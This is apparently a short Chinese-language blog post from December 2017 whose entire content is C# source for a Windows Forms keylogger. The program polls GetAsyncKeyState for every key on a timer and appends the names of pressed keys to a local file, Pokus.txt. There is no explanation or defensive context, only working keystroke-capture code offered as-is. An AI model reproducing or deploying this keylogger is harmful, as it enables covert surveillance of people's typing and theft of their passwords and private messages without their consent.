2017年12月21日 星期四

鍵盤側錄c#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

namespace keylogger
{
    public partial class Form1 : Form
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(int vkey);

        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }
        string text = "";
        private void timer1_Tick(object sender, EventArgs e)
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    buffer += Enum.GetName(typeof(Keys), i);
                }
            }
            text += buffer;
            if (text.Length > 10)
            {
                writeTotext(text);
                text = "";

            }
        }
        private void writeTotext(string value)
        {
            StreamWriter stram = new StreamWriter("Pokus.txt", true);
            stram.Write(value);
            stram.Close();
        }
    }
}

沒有留言:

張貼留言